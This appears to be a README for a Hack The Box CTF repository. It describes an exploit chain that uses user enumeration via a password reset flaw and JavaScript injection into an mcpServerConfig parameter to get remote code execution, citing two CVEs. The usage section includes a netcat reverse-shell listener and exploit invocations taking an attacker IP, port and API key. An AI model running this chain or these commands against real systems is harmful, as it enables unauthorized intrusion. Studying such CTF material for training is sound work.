CVE-2025-58434-59528-htb-ctf

Silentium Exploit Chain

This repository contains the complete exploitation chain for the Silentium machine on Hack The Box. The exploit leverages a two-stage vulnerability involving user enumeration and JavaScript injection to achieve Remote Code Execution (RCE).

📝 Description

The vulnerability chain consists of an information disclosure flaw and a critical code injection. By first enumerating valid users via a password reset bug, we gain the necessary context to target the customMCP endpoint. The RCE is achieved by injecting a malicious JavaScript function into the mcpServerConfig parameter, which is executed by the Node.js backend.

🛠️ Features

• User Enumeration: Automates the discovery of valid system emails using a wordlist.
• JavaScript Injection: Leverages an IIFE (Immediately Invoked Function Expression) to bypass sanitization.
• TCP Reverse Shell: Spawns a stable shell using a mkfifo pipe.
• Payload Automation: Handles all JSON escaping and Bearer Token authentication automatically.

🚀 Requirements

You must have Python 3 and Bash installed, along with the following library:

pip install requests

💻 Usage

1. Enumerate Users

Run the enumeration script (Bash) to find valid accounts (requires users.txt):

python3 CVE-2025-58434.py

2. Start your listener

On your local machine, start a Netcat listener:

nc -lvnp 4444

3. Run the exploit

Execute the Python script providing the target, your IP, and the API key obtained:

python3 CVE-2025-59528.py -t -k <API_KEY> -l <YOUR_IP> -p 4444

⚙️ Arguments

⚠️ Disclaimer

This script is intended for educational purposes and authorized penetration testing within CTF environments only. Accessing or attacking targets without prior authorization is illegal.

---

Challenge: Silentium (Hack The Box)
CVEs: CVE-2025-58434 | CVE-2025-59528